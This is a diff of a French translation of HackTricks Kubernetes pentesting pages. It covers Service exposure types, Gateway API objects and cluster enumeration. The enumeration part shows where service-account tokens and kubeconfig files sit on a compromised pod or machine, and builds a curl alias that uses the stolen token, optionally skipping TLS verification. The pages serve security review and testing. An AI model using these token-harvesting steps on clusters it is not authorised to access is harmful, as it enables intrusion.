spécifiez pas** le **nodePort** dans le yaml (c’est le port qui sera ouvert), un port dans la **plage 30000–32767 sera utilisé**. -Lors de l'examen des Services NodePort ou LoadBalancer, inspectez aussi les champs traffic-policy, car ils modifient quels nodes et backends sont utiles depuis une source donnée: +Lors de l’examen des Services NodePort ou LoadBalancer, inspectez aussi les champs traffic-policy, car ils modifient quels nodes et backends sont utiles depuis une source donnée : ```bash kubectl get services --all-namespaces \ -o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort' ``` -- `externalTrafficPolicy: Local` préserve l’adresse IP source originale du client pour le trafic NodePort/LoadBalancer et évite de transférer vers des endpoints sur d’autres nœuds. Un nœud sans endpoint local prêt peut drop le trafic même si le Service a des endpoints ailleurs. -- `externalTrafficPolicy: Cluster` est la valeur par défaut et peut transférer via n’importe quel nœud, mais les logs backend peuvent voir les IP des nœuds au lieu de la vraie IP du client externe. -- `internalTrafficPolicy: Local` limite le trafic du Service dans le cluster aux endpoints locaux au nœud source. Il s’agit de routage de proximité, pas d’une boundary d’autorisation. -- `sessionAffinity: ClientIP` peut faire en sorte que des tests répétés depuis un client touchent le même backend, masquant d’autres endpoints prêts lors des vérifications manuelles. -- `trafficDistribution` et les EndpointSlice topology hints peuvent privilégier les endpoints du même zone ou du même nœud sur les clusters plus récents ; considérez-les comme des préférences de routage plutôt que comme une politique de sécurité stricte. +- NodePorts sont normalement exposés sur les adresses des nodes, mais kube-proxy peut restreindre les plages d’adresses avec `--nodeport-addresses` ou `nodePortAddresses` dans sa configuration. Vérifie la configuration active de kube-proxy ou du remplacement de service-proxy CNI avant de supposer que le NodePort est joignable sur chaque IP de node. +- `externalTrafficPolicy: Local` préserve l’IP source originale du client pour le trafic NodePort/LoadBalancer et évite de transférer vers des endpoints sur d’autres nodes. Un node sans endpoint local prêt peut drop le trafic même si le Service a des endpoints ailleurs. +- `externalTrafficPolicy: Cluster` est la valeur par défaut et peut transférer via n’importe quel node, mais les logs du backend peuvent voir les IPs des nodes au lieu de la vraie IP du client externe. +- `internalTrafficPolicy: Local` limite le trafic Service dans le cluster aux endpoints locaux au node source. C’est un routage de proximité, pas une frontière d’autorisation. +- `sessionAffinity: ClientIP` peut faire en sorte que des tests répétés depuis un même client touchent le même backend, masquant d’autres endpoints prêts lors de vérifications manuelles. +- `trafficDistribution` et les EndpointSlice topology hints peuvent privilégier les endpoints du même zone ou du même node sur les clusters plus récents ; considère-les comme des préférences de routage plutôt que comme une politique de sécurité stricte. ### LoadBalancer -Expose le Service en externe **en utilisant le load balancer d’un cloud provider**. Sur GKE, cela va lancer un [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) qui vous donnera une seule adresse IP qui redirigera tout le trafic vers votre service. Sur AWS, cela lancera un Load Balancer. +Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer. -Vous devez payer un LoadBalancer par service exposé, ce qui peut être coûteux. +Tu dois payer pour un LoadBalancer par service exposé, ce qui peut être coûteux. List all LoadBalancers: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` -### External IPs +### IP externes > [!TIP] -> External IPs sont exposées par des services de type Load Balancers et elles sont généralement utilisées lorsqu'un external Cloud Provider Load Balancer est utilisé. +> Les IP externes sont exposées par des services de type Load Balancers et elles sont généralement utilisées lorsqu'un Cloud Provider Load Balancer externe est utilisé. > > Pour les trouver, vérifiez les load balancers avec des valeurs dans le champ `EXTERNAL-IP`. -Le trafic qui entre dans le cluster avec l'**external IP** (comme **destination IP**), sur le port du Service, sera **routé vers l'un des endpoints du Service**. Les `externalIPs` ne sont pas gérés par Kubernetes et relèvent de la responsabilité de l'administrateur du cluster. +Le trafic qui entre dans le cluster avec l'**external IP** (comme **destination IP**), sur le port du Service, sera **routé vers l'un des endpoints du Service**. `externalIPs` ne sont pas gérés par Kubernetes et relèvent de la responsabilité de l'administrateur du cluster. -`externalIPs` est un champ sensible de contrôle du routage, car un utilisateur qui peut le définir pourrait s'approprier le trafic destiné à une adresse IP que le propriétaire du Service ne devrait pas contrôler si le réseau environnant achemine cette IP vers le cluster. Kubernetes a annoncé la dépréciation et la suppression prévue de `externalIPs` pour les Service dans v1.36, donc privilégiez autant que possible les mécanismes d'exposition gérés par des controllers, tels que les intégrations LoadBalancer ou Gateway API, et restreignez/autorisez ce champ avec soin tant qu'il existe encore. +`externalIPs` est un champ sensible de contrôle du routage, car un utilisateur qui peut le définir pourrait s'approprier le trafic destiné à une adresse IP que le propriétaire du Service ne devrait pas contrôler si le réseau environnant route cette IP vers le cluster. Kubernetes a annoncé la dépréciation et la suppression planifiée de `externalIPs` pour les Services en v1.36, donc privilégiez autant que possible les mécanismes d'exposition gérés par un controller, comme les intégrations LoadBalancer ou Gateway API, et restreignez/autorisez ce champ avec soin tant qu'il existe encore. -Dans la spec du Service, `externalIPs` peut être spécifié avec n'importe lequel des `ServiceTypes`. Dans l'exemple ci-dessous, "`my-service`" peut être accessible par des clients sur "`80.11.12.10:80`" (`externalIP:port`) +Dans la spécification du Service, `externalIPs` peut être spécifié avec n'importe lequel des `ServiceTypes`. Dans l'exemple ci-dessous, "`my-service`" peut être accédé par des clients sur "`80.11.12.10:80`" (`externalIP:port`) ```yaml apiVersion: v1 kind: Service @@ -134,9 +135,9 @@ externalIPs: ``` ### ExternalName -[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Les Services de type ExternalName **associent un Service à un nom DNS**, et non à un sélecteur typique comme `my-service` ou `cassandra`. Vous spécifiez ces Services avec le paramètre `spec.externalName`. +[**From the docs:**](https://kubernetes.io/docs/concepts/services-networking/service/#externalname) Les Services de type ExternalName **mappent un Service vers un nom DNS**, et non vers un sélecteur classique comme `my-service` ou `cassandra`. Vous spécifiez ces Services avec le paramètre `spec.externalName`. -This Service definition, for example, maps the `my-service` Service in the `prod` namespace to `my.database.example.com`: +Cette définition de Service, par exemple, mappe le Service `my-service` dans le namespace `prod` vers `my.database.example.com` : ```yaml apiVersion: v1 kind: Service @@ -147,34 +148,36 @@ spec: type: ExternalName externalName: my.database.example.com ``` -Lors de la recherche de l’hôte `my-service.prod.svc.cluster.local`, le Service DNS du cluster renvoie un enregistrement `CNAME` avec la valeur `my.database.example.com`. L’accès à `my-service` fonctionne de la même manière que pour les autres Services, mais avec une différence cruciale : **la redirection se fait au niveau DNS** plutôt que via du proxying ou du forwarding. +Lorsque l’on recherche l’hôte `my-service.prod.svc.cluster.local`, le Service DNS du cluster renvoie un enregistrement `CNAME` avec la valeur `my.database.example.com`. Accéder à `my-service` fonctionne de la même manière que pour les autres Services, mais avec la différence cruciale que la **redirection se fait au niveau DNS** plutôt que via du proxying ou du forwarding. -Listez tous les ExternalNames : +Security review note : si un contrôleur Ingress, une implémentation Gateway, un service mesh, ou une application accepte un Service ExternalName comme backend, le contrôleur peut résoudre et atteindre le nom externe depuis sa propre position réseau. Cela peut exposer des services internes uniquement via une infrastructure de routage publique lorsque les utilisateurs peuvent créer à la fois l’objet de route et le Service ExternalName. Examinez l’implémentation et la version spécifiques du contrôleur, les flags de support ExternalName ou les allowlists, le status de la route, et le domaine cible exact avant de considérer cela comme sûr. Par exemple, Skipper a corrigé un problème Kubernetes ExternalName SSRF en v0.24.0 en désactivant les backends ExternalName par défaut et en documentant une option d’allowlist. + +List all ExternalNames: ```bash kubectl get services --all-namespaces | grep ExternalName ``` ### EndpointSlices -Les EndpointSlices montrent les adresses et ports backend concrets vers lesquels un Service route actuellement. Ils sont particulièrement utiles lorsqu’un Service n’a pas de selector, lorsque les labels n’expliquent pas le chemin du trafic, ou lorsque seuls certains backends sont prêts. +Les EndpointSlices montrent les adresses backend concrètes et les ports vers lesquels un Service route actuellement. Ils sont particulièrement utiles lorsqu’un Service n’a pas de selector, lorsque les labels n’expliquent pas le chemin du trafic, ou lorsque seuls certains backends sont prêts. -Lister les EndpointSlices associés aux Services: +Lister les EndpointSlices associés aux Services : ```bash kubectl get endpointslices --all-namespaces kubectl get endpointslice -n -l kubernetes.io/service-name= -o yaml kubectl get endpointslice -n -l kubernetes.io/service-name= \ -o custom-columns='NAME:.metadata.name,ADDR:.endpoints[*].addresses,READY:.endpoints[*].conditions.ready,PORTS:.ports[*].port' ``` -Lors de l’examen de l’exposition, comparez le selector du Service avec le `targetRef` de l’EndpointSlice, les adresses d’endpoint, les conditions de readiness et les ports. Un Service sans selector peut être associé à des EndpointSlices gérés manuellement et router le trafic vers des destinations non-Pod ou inattendues. +Lors de la vérification de l’exposition, comparez le sélecteur du Service avec le `targetRef` de l’EndpointSlice, les adresses des endpoints, les conditions de readiness et les ports. Un Service sans selector peut être associé à des EndpointSlices gérés manuellement et acheminer le trafic vers des destinations non-Pod ou inattendues. ### Ingress Contrairement à tous les exemples ci-dessus, **Ingress n’est PAS un type de service**. À la place, il se place **devant plusieurs services et agit comme un “smart router”** ou point d’entrée dans votre cluster. -Vous pouvez faire beaucoup de choses différentes avec un Ingress, et il existe **de nombreux types de Ingress controllers qui ont des capacités différentes**. +Vous pouvez faire beaucoup de choses différentes avec un Ingress, et il existe **de nombreux types d’Ingress controllers qui ont des capacités différentes**. -Le controller GKE Ingress par défaut déploiera un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) pour vous. Cela vous permettra de faire du routage basé sur le chemin et basé sur le sous-domaine vers des backend services. Par exemple, vous pouvez envoyer tout ce qui se trouve sur foo.yourdomain.com vers le service foo, et tout ce qui se trouve sous le chemin yourdomain.com/bar/ vers le service bar. +Le controller d’ingress GKE par défaut va créer pour vous un [HTTP(S) Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/). Cela vous permettra de faire à la fois du routage basé sur le path et basé sur le sous-domaine vers des backend services. Par exemple, vous pouvez envoyer tout ce qui arrive sur foo.yourdomain.com vers le service foo, et tout ce qui se trouve sous le path yourdomain.com/bar/ vers le service bar. -Le YAML d’un objet Ingress sur GKE avec un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) pourrait ressembler à ceci : +Le YAML pour un objet Ingress sur GKE avec un [L7 HTTP Load Balancer](https://cloud.google.com/compute/docs/load-balancing/http/) pourrait ressembler à ceci : ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress @@ -208,37 +211,46 @@ name: bar port: number: 8080 ``` -Lister tous les ingresses : +Lister tous les ingress: ```bash kubectl get ingresses --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,RULES:spec.rules[*],STATUS:status' ``` -Bien que, dans ce cas, il soit préférable d’obtenir les infos de chacun un par un pour mieux les lire : +Bien que dans ce cas il soit préférable d’obtenir les informations de chacun un par un pour les lire plus facilement : ```bash kubectl get ingresses --all-namespaces -o=yaml ``` ### Gateway API -Gateway API est la nouvelle API Kubernetes pour exposer des Services. Elle sépare les objets Gateway appartenant à l'infrastructure des objets Route appartenant aux applications, tels que HTTPRoute. Cela est utile pour la délégation, mais cela signifie aussi que l'exposition peut être répartie entre plusieurs namespaces. +Gateway API est la nouvelle API Kubernetes pour exposer des Services. Elle sépare les objets Gateway appartenant à l’infrastructure des objets Route appartenant aux applications, tels que HTTPRoute. C’est utile pour la délégation, mais cela signifie aussi que l’exposition peut être répartie entre plusieurs namespaces. -Lister les objets d'exposition Gateway API : +Lister les objets d’exposition Gateway API : ```bash kubectl get gatewayclasses kubectl get gateways --all-namespaces kubectl get httproutes --all-namespaces +kubectl get grpcroutes,tlsroutes,tcproutes,udproutes --all-namespaces +kubectl get referencegrants --all-namespaces +kubectl get backendtlspolicies --all-namespaces kubectl get gateway -n -o yaml kubectl get httproute -n -o yaml ``` -Vérifiez les listeners du Gateway, les route namespaces autorisés, les `parentRefs` de `Route`, les hostnames, les filters, les backend references, et les status conditions, comme si la route a été accepted. Une Route accepted par un shared Gateway peut exposer un backend même lorsqu’aucun objet legacy Ingress n’existe. +Vérifiez les listeners du Gateway, les namespaces de route autorisés, les `parentRefs` de `Route`, les correspondances de hostnames ou SNI, les filters, les backend references, et les status conditions telles que `Accepted`, `ResolvedRefs`, et `Programmed`. Une `Route` acceptée par un Gateway partagé peut exposer un backend même lorsqu’aucun objet `Ingress` legacy n’existe. + +Ne vérifiez pas seulement `HTTPRoute`. `GRPCRoute`, `TLSRoute`, `TCPRoute`, et `UDPRoute` peuvent exposer des services non-HTTP comme des ports admin, des brokers, des databases, des gateways de service-mesh, ou des backends TLS pass-through. Examinez aussi les objets `ReferenceGrant` pour les références cross-namespace vers des backends ou des certificats, et `BackendTLSPolicy` pour l’identité TLS que le Gateway utilise lorsqu’il se connecte aux Services backend. Une backend TLS policy n’est pas une preuve de reachability publique à elle seule, mais c’est une preuve utile lorsqu’une route de Gateway programmée atteint un Service ready avec une validation d’identité backend faible, partagée, ou incorrecte. ### References - [https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0](https://medium.com/google-cloud/kubernetes-nodeport-vs-loadbalancer-vs-ingress-when-should-i-use-what-922f010849e0) - [https://kubernetes.io/docs/concepts/services-networking/service/](https://kubernetes.io/docs/concepts/services-networking/service/) +- [https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-proxy/) - [https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/](https://kubernetes.io/blog/2026/05/14/kubernetes-v1-36-deprecation-and-removal-of-service-externalips/) - [https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/](https://kubernetes.io/docs/concepts/services-networking/service-traffic-policy/) - [https://kubernetes.io/docs/tutorials/services/source-ip/](https://kubernetes.io/docs/tutorials/services/source-ip/) - [https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/](https://kubernetes.io/docs/concepts/services-networking/topology-aware-routing/) - [https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/](https://kubernetes.io/docs/concepts/services-networking/endpoint-slices/) - [https://gateway-api.sigs.k8s.io/](https://gateway-api.sigs.k8s.io/) +- [https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/](https://kubernetes.io/blog/2025/11/06/gateway-api-v1-4/) +- [https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/](https://gateway-api.sigs.k8s.io/api-types/backendtlspolicy/) +- [https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9](https://github.com/zalando/skipper/security/advisories/GHSA-mxxc-p822-2hx9) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index a576a320c..44241e064 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -4,11 +4,11 @@ ## Kubernetes Tokens -Si vous avez compromis l'accès à une machine, l'utilisateur peut avoir accès à une plateforme Kubernetes. Le token se trouve généralement dans un fichier indiqué par la **env var `KUBECONFIG`** ou **dans `~/.kube`**. +Si vous avez compromis l'accès à une machine, l'utilisateur peut avoir accès à une plateforme Kubernetes. Le token se trouve généralement dans un fichier pointé par la variable d'environnement **`KUBECONFIG`** ou **dans `~/.kube`**. -Dans ce dossier, vous pouvez trouver des fichiers de config avec des **tokens et des configurations pour se connecter au API server**. Dans ce dossier, vous pouvez aussi trouver un dossier cache avec des informations récupérées précédemment. +Dans ce dossier, vous pouvez trouver des fichiers de config avec des **tokens et des configurations pour se connecter à l'API server**. Dans ce dossier, vous pouvez aussi trouver un dossier de cache avec des informations récupérées précédemment. -Si vous avez compromis un pod dans un environnement kubernetes, il existe d'autres endroits où vous pouvez trouver des tokens et des informations sur l'environnement K8 actuel : +Si vous avez compromis un pod dans un environnement kubernetes, il existe d'autres emplacements où vous pouvez trouver des tokens et des informations sur l'environnement K8 actuel : ### Service Account Tokens @@ -21,7 +21,7 @@ _“When you create a pod, if you do not specify a service account, it is automa **ServiceAccount** est un objet géré par Kubernetes et utilisé pour fournir une identité aux processus qui s'exécutent dans un pod.\ Chaque service account a un secret qui lui est associé et ce secret contient un bearer token. C'est un JSON Web Token (JWT), une méthode permettant de représenter des claims de manière sécurisée entre deux parties. -Généralement, **l'une** des répertoires : +Généralement, **l'un** des répertoires : - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` @@ -33,7 +33,7 @@ contient les fichiers : - **namespace**: Il indique le namespace actuel - **token**: Il contient le **service token** du pod actuel. -Maintenant que vous avez le token, vous pouvez trouver le API server dans la variable d'environnement **`KUBECONFIG`**. Pour plus d'infos, exécutez `(env | set) | grep -i "kuber|kube`**`"`** +Maintenant que vous avez le token, vous pouvez trouver l'API server dans la variable d'environnement **`KUBECONFIG`**. Pour plus d'informations, exécutez `(env | set) | grep -i "kuber|kube`**`"`** Le service account token est signé par la clé résidant dans le fichier **sa.key** et validé par **sa.pub**. @@ -55,28 +55,28 @@ Si vous ne savez pas ce qu'est **RBAC**, **lisez cette section**. ## GUI Applications -- **k9s**: Une GUI qui énumère un cluster kubernetes depuis le terminal. Consultez les commandes dans[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Tapez `:namespace` et sélectionnez all pour ensuite rechercher des ressources dans tous les namespaces. -- **k8slens**: Il offre quelques jours d'essai gratuits: [https://k8slens.dev/](https://k8slens.dev/) +- **k9s**: Une GUI qui énumère un cluster kubernetes depuis le terminal. Consultez les commandes dans[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Tapez `:namespace` et sélectionnez all pour ensuite rechercher les resources dans tous les namespaces. +- **k8slens**: Il propose quelques jours d'essai gratuit : [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet Afin d'énumérer un environnement K8s, vous avez besoin de quelques éléments : - Un **valid authentication token**. Dans la section précédente, nous avons vu où chercher un user token et un service account token. -- L'**adresse (**_**https://host:port**_**) du Kubernetes API**. On la trouve généralement dans les variables d'environnement et/ou dans le fichier kube config. -- **Optionnel**: Le **ca.crt pour vérifier le API server**. On peut le trouver aux mêmes endroits que le token. C'est utile pour vérifier le certificat du API server, mais en utilisant `--insecure-skip-tls-verify` avec `kubectl` ou `-k` avec `curl`, vous n'en aurez pas besoin. +- L'**adresse (**_**https://host:port**_**) de l'API Kubernetes**. Elle peut généralement être trouvée dans les variables d'environnement et/ou dans le fichier kube config. +- **Optionnel** : Le **ca.crt pour vérifier l'API server**. Il peut être trouvé aux mêmes emplacements que le token. C'est utile pour vérifier le certificat de l'API server, mais en utilisant `--insecure-skip-tls-verify` avec `kubectl` ou `-k` avec `curl`, vous n'en aurez pas besoin. Avec ces détails, vous pouvez **enumerate kubernetes**. Si l'**API** est pour une raison quelconque **accessible** via **Internet**, vous pouvez simplement télécharger ces informations et énumérer la plateforme depuis votre hôte. -Cependant, en général, le **API server est dans un réseau interne**, vous devrez donc **créer un tunnel** via la machine compromise pour y accéder depuis votre machine, ou vous pouvez **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, ou utiliser **`curl/wget/anything`** pour effectuer des requêtes HTTP brutes vers le API server. +Cependant, en général, l'**API server est dans un réseau interne**, donc vous devrez **créer un tunnel** via la machine compromise pour y accéder depuis votre machine, ou vous pouvez **uploader le** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binaire, ou utiliser **`curl/wget/anything`** pour effectuer des requêtes HTTP brutes vers l'API server. ### Differences between `list` and `get` verbs -Avec les permissions **`get`**, vous pouvez accéder aux informations d'actifs spécifiques (_option `describe` dans `kubectl`_) API: +Avec des permissions **`get`**, vous pouvez accéder aux informations d'assets spécifiques (_option `describe` dans `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` -Si vous avez la permission **`list`**, vous êtes autorisé à exécuter des requêtes API pour lister un type d'asset (_`get` option dans `kubectl`_): +Si vous avez la permission **`list`**, vous êtes autorisé à exécuter des requêtes API pour lister un type d’asset (_option `get` dans `kubectl`_) : ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments @@ -91,14 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -Ils ouvrent une connexion en streaming qui vous renvoie le manifeste complet d’un Deployment chaque fois qu’il change (ou quand un nouveau est créé). +Ils ouvrent une connexion en streaming qui vous renvoie le manifeste complet d’un Deployment chaque fois qu’il change (ou lorsqu’un nouveau est créé). > [!CAUTION] > Les commandes `kubectl` suivantes indiquent seulement comment lister les objets. Si vous voulez accéder aux données, vous devez utiliser `describe` au lieu de `get` ### Using curl -Depuis l’intérieur d’un pod, vous pouvez utiliser plusieurs variables d’env : +Depuis l’intérieur d’un pod, vous pouvez utiliser plusieurs variables d’environnement : ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount @@ -109,19 +109,19 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> Par défaut, le pod peut **accéder** au **kube-api server** dans le nom de domaine **`kubernetes.default.svc`** et vous pouvez voir le réseau kube dans **`/etc/resolv.config`** car vous y trouverez l’adresse du serveur DNS kubernetes (le ".1" de la même plage est le endpoint kube-api). +> Par défaut, le pod peut **access** le **kube-api server** dans le nom de domaine **`kubernetes.default.svc`** et vous pouvez voir le réseau kube dans **`/etc/resolv.config`** car vous y trouverez l'adresse du serveur DNS kubernetes (le ".1" de la même plage est le endpoint kube-api). ### Using kubectl -En ayant le token et l’adresse du API server, vous utilisez kubectl ou curl pour y accéder comme indiqué ici : +Having the token and the address of the API server you use kubectl or curl to access it as indicated here: -Par défaut, The APISERVER communique avec le schéma `https://` +By default, The APISERVER is communicating with `https://` schema ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` -> if no `https://` in url, you may get Error Like Bad Request. +> si aucune `https://` n’est dans l’url, vous pouvez obtenir une erreur comme Bad Request. -You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to. +Vous pouvez trouver une [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Le but des sections suivantes est de présenter de manière ordonnée différentes options pour énumérer et comprendre le nouveau K8s auquel vous avez obtenu accès. Pour trouver la requête HTTP que `kubectl` envoie, vous pouvez utiliser le paramètre `-v=8` @@ -161,9 +161,9 @@ kubectl config set-credentials USER_NAME \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` -### Obtenir les ressources prises en charge +### Obtenir les ressources supportées -Avec ces infos, vous connaîtrez tous les services que vous pouvez lister +Avec cette info, vous saurez tous les services que vous pouvez lister {{#tabs }} {{#tab name="kubectl" }} @@ -176,20 +176,46 @@ k api-resources --namespaced=false #Resources NOT specific to a namespace ### Métadonnées d'objet à vérifier -Lorsque vous pouvez lire un objet, exportez le YAML ou le JSON complet au lieu de vous fier uniquement à la sortie du tableau ou à `describe`. Le contexte de sécurité le plus utile se trouve souvent dans des champs d'objet génériques qui existent dans de nombreux types de ressources : +Quand vous pouvez lire un objet, exportez le YAML ou le JSON complet au lieu de vous fier uniquement à la sortie en table ou à `describe`. Le contexte de sécurité le plus utile se trouve souvent dans des champs d'objet génériques qui existent dans de nombreux types de ressources : ```bash kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` -- `metadata.uid`, `name`, `namespace`, `apiVersion` et `kind` identifient l’objet exact et évitent toute confusion entre des objets portant le même nom dans différents namespaces ou groupes API. -- `metadata.labels` et les selectors relient Services, Deployments, ReplicaSets, Pods, NetworkPolicies et automation. Suivre les selectors est souvent le moyen le plus rapide d’identifier les vrais backend pods d’un Service. -- `metadata.annotations` peuvent leak un contexte opérationnel comme le comportement ingress, les paramètres de cloud load balancer, les métadonnées GitOps ou Helm, les exemptions de policy, et la configuration de service mesh. Elles ne doivent pas contenir de secrets, mais les vrais clusters exposent souvent des indices utiles à cet endroit. -- `metadata.ownerReferences` montre la lignée du controller. Si un Pod est possédé par un ReplicaSet lui-même possédé par un Deployment, modifier ou supprimer uniquement le Pod ne corrige généralement pas la source. -- `metadata.finalizers` et `metadata.deletionTimestamp` expliquent les ressources bloquées en suppression et peuvent révéler des cleanup controllers ou des techniques de persistence/disruption. -- `status`, les Events et les conditions peuvent révéler le placement sur le node, les pod IPs, les image IDs, les messages d’échec, les problèmes de scheduling, les refus d’admission et la progression du controller. Ce sont des indices utiles, mais les audit logs restent nécessaires pour prouver qui a effectué une action. +- `metadata.uid`, `name`, `namespace`, `apiVersion` and `kind` identifient l’objet exact et évitent la confusion entre des objets portant le même nom dans différents namespaces ou groupes API. +- `metadata.labels` et les selectors relient Services, Deployments, ReplicaSets, Pods, NetworkPolicies et automation. Suivre les selectors est souvent la façon la plus rapide d’identifier les vrais backend pods d’un Service. +- `metadata.annotations` peuvent leak des informations de contexte opérationnel telles que le comportement d’ingress, les paramètres de cloud load balancer, les métadonnées GitOps ou Helm, les exemptions de policy et la configuration du service mesh. Elles ne devraient pas contenir de secrets, mais les vrais clusters y exposent souvent des indices utiles. +- `metadata.ownerReferences` montre la lignée du controller. Si un Pod est détenu par un ReplicaSet détenu par un Deployment, modifier ou supprimer uniquement le Pod ne corrige généralement pas la source. +- `metadata.finalizers` et `metadata.deletionTimestamp` expliquent les resources bloquées en suppression et peuvent révéler des cleanup controllers ou des astuces de persistence/disruption. +- `status`, les Events et les conditions peuvent révéler le placement sur les nodes, les pod IPs, les image IDs, les messages d’échec, les problèmes de scheduling, les refus d’admission et la progression du controller. Ce sont des indices utiles, mais les audit logs restent nécessaires pour prouver qui a effectué une action. -### Get Current Privileges +### Dynamic Resource Allocation and device evidence + +Si le cluster utilise des GPUs, NICs, FPGAs ou d’autres hardware spécialisés, vérifiez si Kubernetes Dynamic Resource Allocation (DRA) est présent. DRA utilise des objets `resource.k8s.io` tels que `DeviceClass`, `ResourceSlice`, `ResourceClaim` et `ResourceClaimTemplate` pour décrire les devices disponibles et les réclamer pour des Pods. Ces objets peuvent révéler quels nodes peuvent accéder à du hardware de valeur, quel driver le gère, et quel workload a une allocation. +```bash +kubectl api-resources --api-group=resource.k8s.io +kubectl get deviceclasses.resource.k8s.io 2>/dev/null +kubectl get resourceslices.resource.k8s.io 2>/dev/null +kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null +kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null +kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' +kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' +``` +Lors de la revue, restreignez les écritures sur les objets `DeviceClass` et `ResourceSlice` de portée cluster aux admins et aux drivers DRA, et gardez les droits `ResourceClaim` / `ResourceClaimTemplate` limités aux namespaces qui en ont besoin. Les permissions des drivers pour mettre à jour le status de `ResourceClaim` doivent être explicites et strictement limitées. Sur les nodes, l’API kubelet PodResources est généralement exposée via `/var/lib/kubelet/pod-resources/kubelet.sock`; les DaemonSets de monitoring peuvent monter ce répertoire pour inspecter les devices attribués, donc examinez ces Pods comme les autres agents node privilégiés. + +### ClusterTrustBundle et confiance des certificats des add-ons + +Les clusters récents peuvent exposer des objets `ClusterTrustBundle` dans le groupe d’API `certificates.k8s.io`. Ce sont des bundles d’ancres de confiance X.509 de portée cluster que les Pods peuvent monter via des volumes projetés. Un large accès en lecture est attendu, mais l’accès en écriture est sensible, car modifier les racines de confiance peut affecter les webhooks, les APIs agrégées, les service meshes et les applications qui consomment du matériel CA distribué par le cluster. +```bash +kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle +kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null +kubectl get clustertrustbundle -o yaml 2>/dev/null +kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' +kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' +``` +During review, record `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager. 